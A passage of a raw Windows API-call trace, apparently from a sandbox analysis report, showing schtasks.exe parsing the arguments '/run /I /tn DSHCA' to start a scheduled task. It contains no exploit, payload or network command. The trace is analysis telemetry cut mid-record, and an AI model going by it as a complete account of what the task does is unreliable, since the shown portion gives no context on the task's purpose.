Flags=0xc, Size=0x6) returned 0x575b80 [0103.180] GetProcessHeap () returned 0x560000 [0103.180] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575208 [0103.180] SetLastError (dwErrCode=0x0) [0103.180] SetLastError (dwErrCode=0x0) [0103.180] lstrlenW (lpString="/tn") returned 3 [0103.180] lstrlenW (lpString="-/") returned 2 [0103.180] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.180] lstrlenW (lpString="?") returned 1 [0103.180] lstrlenW (lpString="?") returned 1 [0103.180] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.180] lstrlenW (lpString="tn") returned 2 [0103.180] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.180] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|?|") returned 3 [0103.180] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.180] lstrlenW (lpString="|?|") returned 3 [0103.180] lstrlenW (lpString="|tn|") returned 4 [0103.180] SetLastError (dwErrCode=0x490) [0103.180] lstrlenW (lpString="create") returned 6 [0103.180] lstrlenW (lpString="create") returned 6 [0103.180] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.180] lstrlenW (lpString="tn") returned 2 [0103.180] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.180] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|create|") returned 8 [0103.180] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.180] lstrlenW (lpString="|create|") returned 8 [0103.180] lstrlenW (lpString="|tn|") returned 4 [0103.181] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0103.181] SetLastError (dwErrCode=0x490) [0103.181] lstrlenW (lpString="delete") returned 6 [0103.181] lstrlenW (lpString="delete") returned 6 [0103.181] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] lstrlenW (lpString="tn") returned 2 [0103.181] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|delete|") returned 8 [0103.181] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.181] lstrlenW (lpString="|delete|") returned 8 [0103.181] lstrlenW (lpString="|tn|") returned 4 [0103.181] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0103.181] SetLastError (dwErrCode=0x490) [0103.181] lstrlenW (lpString="query") returned 5 [0103.181] lstrlenW (lpString="query") returned 5 [0103.181] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] lstrlenW (lpString="tn") returned 2 [0103.181] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|query|") returned 7 [0103.181] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.181] lstrlenW (lpString="|query|") returned 7 [0103.181] lstrlenW (lpString="|tn|") returned 4 [0103.181] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0103.181] SetLastError (dwErrCode=0x490) [0103.181] lstrlenW (lpString="change") returned 6 [0103.181] lstrlenW (lpString="change") returned 6 [0103.181] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] lstrlenW (lpString="tn") returned 2 [0103.181] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.181] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|change|") returned 8 [0103.181] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.182] lstrlenW (lpString="|change|") returned 8 [0103.182] lstrlenW (lpString="|tn|") returned 4 [0103.182] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0103.182] SetLastError (dwErrCode=0x490) [0103.182] lstrlenW (lpString="run") returned 3 [0103.182] lstrlenW (lpString="run") returned 3 [0103.182] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] lstrlenW (lpString="tn") returned 2 [0103.182] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|run|") returned 5 [0103.182] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.182] lstrlenW (lpString="|run|") returned 5 [0103.182] lstrlenW (lpString="|tn|") returned 4 [0103.182] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0103.182] SetLastError (dwErrCode=0x490) [0103.182] lstrlenW (lpString="end") returned 3 [0103.182] lstrlenW (lpString="end") returned 3 [0103.182] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] lstrlenW (lpString="tn") returned 2 [0103.182] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|end|") returned 5 [0103.182] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.182] lstrlenW (lpString="|end|") returned 5 [0103.182] lstrlenW (lpString="|tn|") returned 4 [0103.182] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0103.182] SetLastError (dwErrCode=0x490) [0103.182] lstrlenW (lpString="showsid") returned 7 [0103.182] lstrlenW (lpString="showsid") returned 7 [0103.182] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] lstrlenW (lpString="tn") returned 2 [0103.182] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.182] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|showsid|") returned 9 [0103.182] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf6b0 | out: _Buffer="|tn|") returned 4 [0103.182] lstrlenW (lpString="|showsid|") returned 9 [0103.183] lstrlenW (lpString="|tn|") returned 4 [0103.183] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x0) [0103.183] lstrlenW (lpString="/tn") returned 3 [0103.183] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x0) [0103.183] lstrlenW (lpString="/tn") returned 3 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x8) returned 0x575b90 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575248 [0103.183] SetLastError (dwErrCode=0x0) [0103.183] SetLastError (dwErrCode=0x0) [0103.183] lstrlenW (lpString="DSHCA") returned 5 [0103.183] lstrlenW (lpString="-/") returned 2 [0103.183] StrChrIW (lpStart="-/", wMatch=0x44) returned 0x0 [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x0) [0103.183] lstrlenW (lpString="DSHCA") returned 5 [0103.183] StrChrIW (lpStart="DSHCA", wMatch=0x3a) returned 0x0 [0103.183] SetLastError (dwErrCode=0x490) [0103.183] SetLastError (dwErrCode=0x0) [0103.183] lstrlenW (lpString="DSHCA") returned 5 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0xc) returned 0x574bd8 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575268 [0103.183] SetLastError (dwErrCode=0x0) [0103.183] GetProcessHeap () returned 0x560000 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80) returned 1 [0103.183] GetProcessHeap () returned 0x560000 [0103.183] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575b80) returned 0x6 [0103.183] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80 | out: hHeap=0x560000) returned 1 [0103.183] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575208) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575208) returned 0x14 [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575208 | out: hHeap=0x560000) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575b90) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575b90) returned 0x8 [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575b90 | out: hHeap=0x560000) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575248) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575248) returned 0x14 [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575248 | out: hHeap=0x560000) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574bd8) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574bd8) returned 0xc [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574bd8 | out: hHeap=0x560000) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575268) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575268) returned 0x14 [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575268 | out: hHeap=0x560000) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ab8) returned 1 [0103.184] GetProcessHeap () returned 0x560000 [0103.184] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ab8) returned 0x10 [0103.184] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ab8 | out: hHeap=0x560000) returned 1 [0103.185] SetLastError (dwErrCode=0x0) [0103.185] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0103.185] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0103.185] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0103.185] VerifyVersionInfoW (in: lpVersionInformation=0x1bf4f4, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x1bf4f4) returned 1 [0103.185] SetLastError (dwErrCode=0x0) [0103.185] lstrlenW (lpString="run") returned 3 [0103.185] StrChrIW (lpStart="run", wMatch=0x7c) returned 0x0 [0103.185] SetLastError (dwErrCode=0x490) [0103.185] SetLastError (dwErrCode=0x0) [0103.185] lstrlenW (lpString="run") returned 3 [0103.185] GetProcessHeap () returned 0x560000 [0103.185] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575268 [0103.185] GetProcessHeap () returned 0x560000 [0103.185] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574ab8 [0103.185] _memicmp (_Buf1=0x574ab8, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.185] GetProcessHeap () returned 0x560000 [0103.185] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x10) returned 0x574bd8 [0103.185] SetLastError (dwErrCode=0x0) [0103.185] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.185] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x575970, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0103.185] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0103.185] GetProcessHeap () returned 0x560000 [0103.185] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x74e) returned 0x575b80 [0103.185] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x575b80 | out: lpData=0x575b80) returned 1 [0103.186] VerQueryValueW (in: pBlock=0x575b80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf5fc, puLen=0x1bf600 | out: lplpBuffer=0x1bf5fc*=0x575f1c, puLen=0x1bf600) returned 1 [0103.186] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.186] _vsnwprintf (in: _Buffer=0x575970, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf5e4 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0103.186] VerQueryValueW (in: pBlock=0x575b80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf60c, puLen=0x1bf608 | out: lplpBuffer=0x1bf60c*=0x575d48, puLen=0x1bf608) returned 1 [0103.186] lstrlenW (lpString="schtasks.exe") returned 12 [0103.186] lstrlenW (lpString="schtasks.exe") returned 12 [0103.186] lstrlenW (lpString=".EXE") returned 4 [0103.186] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0103.186] lstrlenW (lpString="schtasks.exe") returned 12 [0103.186] lstrlenW (lpString=".EXE") returned 4 [0103.186] lstrlenW (lpString="schtasks") returned 8 [0103.186] lstrlenW (lpString="/run") returned 4 [0103.186] _memicmp (_Buf1=0x574b30, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.186] _vsnwprintf (in: _Buffer=0x575970, _BufferCount=0x16, _Format="%s %s", _ArgList=0x1bf5e4 | out: _Buffer="schtasks /run") returned 13 [0103.186] _memicmp (_Buf1=0x574b90, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.186] GetProcessHeap () returned 0x560000 [0103.186] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575248 [0103.186] _memicmp (_Buf1=0x574ba8, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.186] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x576608, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0103.186] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0103.186] GetProcessHeap () returned 0x560000 [0103.186] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x30) returned 0x576848 [0103.186] _vsnwprintf (in: _Buffer=0x576560, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf5e8 | out: _Buffer="Type \"SCHTASKS /RUN /?\" for usage.") returned 34 [0103.186] GetProcessHeap () returned 0x560000 [0103.186] GetProcessHeap () returned 0x560000 [0103.186] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80) returned 1 [0103.186] GetProcessHeap () returned 0x560000 [0103.186] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575b80) returned 0x74e [0103.186] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575b80 | out: hHeap=0x560000) returned 1 [0103.187] SetLastError (dwErrCode=0x0) [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="run") returned 3 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="?") returned 1 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="s") returned 1 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="u") returned 1 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="p") returned 1 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="i") returned 1 [0103.187] GetThreadLocale () returned 0x409 [0103.187] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0103.187] lstrlenW (lpString="tn") returned 2 [0103.187] SetLastError (dwErrCode=0x0) [0103.187] SetLastError (dwErrCode=0x0) [0103.187] lstrlenW (lpString="/Run") returned 4 [0103.187] lstrlenW (lpString="-/") returned 2 [0103.187] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.187] lstrlenW (lpString="run") returned 3 [0103.187] lstrlenW (lpString="run") returned 3 [0103.187] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.187] lstrlenW (lpString="Run") returned 3 [0103.187] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.187] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|run|") returned 5 [0103.187] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|Run|") returned 5 [0103.187] lstrlenW (lpString="|run|") returned 5 [0103.187] lstrlenW (lpString="|Run|") returned 5 [0103.188] StrStrIW (lpFirst="|run|", lpSrch="|Run|") returned="|run|" [0103.188] SetLastError (dwErrCode=0x0) [0103.188] SetLastError (dwErrCode=0x0) [0103.188] SetLastError (dwErrCode=0x0) [0103.188] lstrlenW (lpString="/I") returned 2 [0103.188] lstrlenW (lpString="-/") returned 2 [0103.188] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.188] lstrlenW (lpString="run") returned 3 [0103.188] lstrlenW (lpString="run") returned 3 [0103.188] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.188] lstrlenW (lpString="I") returned 1 [0103.188] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.188] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|run|") returned 5 [0103.188] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.188] lstrlenW (lpString="|run|") returned 5 [0103.188] lstrlenW (lpString="|I|") returned 3 [0103.188] StrStrIW (lpFirst="|run|", lpSrch="|I|") returned 0x0 [0103.188] SetLastError (dwErrCode=0x490) [0103.188] lstrlenW (lpString="?") returned 1 [0103.188] lstrlenW (lpString="?") returned 1 [0103.188] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.188] lstrlenW (lpString="I") returned 1 [0103.188] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.188] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|?|") returned 3 [0103.188] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.188] lstrlenW (lpString="|?|") returned 3 [0103.188] lstrlenW (lpString="|I|") returned 3 [0103.188] StrStrIW (lpFirst="|?|", lpSrch="|I|") returned 0x0 [0103.188] SetLastError (dwErrCode=0x490) [0103.188] lstrlenW (lpString="s") returned 1 [0103.188] lstrlenW (lpString="s") returned 1 [0103.188] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.188] lstrlenW (lpString="I") returned 1 [0103.188] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.189] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|s|") returned 3 [0103.189] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.189] lstrlenW (lpString="|s|") returned 3 [0103.189] lstrlenW (lpString="|I|") returned 3 [0103.189] StrStrIW (lpFirst="|s|", lpSrch="|I|") returned 0x0 [0103.189] SetLastError (dwErrCode=0x490) [0103.189] lstrlenW (lpString="u") returned 1 [0103.189] lstrlenW (lpString="u") returned 1 [0103.189] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.189] lstrlenW (lpString="I") returned 1 [0103.189] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.189] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|u|") returned 3 [0103.189] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.189] lstrlenW (lpString="|u|") returned 3 [0103.189] lstrlenW (lpString="|I|") returned 3 [0103.189] StrStrIW (lpFirst="|u|", lpSrch="|I|") returned 0x0 [0103.189] SetLastError (dwErrCode=0x490) [0103.189] lstrlenW (lpString="p") returned 1 [0103.189] lstrlenW (lpString="p") returned 1 [0103.189] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.189] lstrlenW (lpString="I") returned 1 [0103.189] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.189] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|p|") returned 3 [0103.189] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.189] lstrlenW (lpString="|p|") returned 3 [0103.189] lstrlenW (lpString="|I|") returned 3 [0103.189] StrStrIW (lpFirst="|p|", lpSrch="|I|") returned 0x0 [0103.189] SetLastError (dwErrCode=0x490) [0103.189] lstrlenW (lpString="i") returned 1 [0103.189] lstrlenW (lpString="i") returned 1 [0103.189] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] lstrlenW (lpString="I") returned 1 [0103.190] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|i|") returned 3 [0103.190] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|I|") returned 3 [0103.190] lstrlenW (lpString="|i|") returned 3 [0103.190] lstrlenW (lpString="|I|") returned 3 [0103.190] StrStrIW (lpFirst="|i|", lpSrch="|I|") returned="|i|" [0103.190] SetLastError (dwErrCode=0x0) [0103.190] SetLastError (dwErrCode=0x0) [0103.190] SetLastError (dwErrCode=0x0) [0103.190] lstrlenW (lpString="/tn") returned 3 [0103.190] lstrlenW (lpString="-/") returned 2 [0103.190] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0103.190] lstrlenW (lpString="run") returned 3 [0103.190] lstrlenW (lpString="run") returned 3 [0103.190] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] lstrlenW (lpString="tn") returned 2 [0103.190] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|run|") returned 5 [0103.190] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.190] lstrlenW (lpString="|run|") returned 5 [0103.190] lstrlenW (lpString="|tn|") returned 4 [0103.190] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0103.190] SetLastError (dwErrCode=0x490) [0103.190] lstrlenW (lpString="?") returned 1 [0103.190] lstrlenW (lpString="?") returned 1 [0103.190] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] lstrlenW (lpString="tn") returned 2 [0103.190] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.190] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|?|") returned 3 [0103.190] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.190] lstrlenW (lpString="|?|") returned 3 [0103.190] lstrlenW (lpString="|tn|") returned 4 [0103.191] SetLastError (dwErrCode=0x490) [0103.191] lstrlenW (lpString="s") returned 1 [0103.191] lstrlenW (lpString="s") returned 1 [0103.191] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.191] lstrlenW (lpString="tn") returned 2 [0103.191] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.191] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|s|") returned 3 [0103.191] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.191] lstrlenW (lpString="|s|") returned 3 [0103.191] lstrlenW (lpString="|tn|") returned 4 [0103.191] SetLastError (dwErrCode=0x490) [0103.191] lstrlenW (lpString="u") returned 1 [0103.191] lstrlenW (lpString="u") returned 1 [0103.191] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 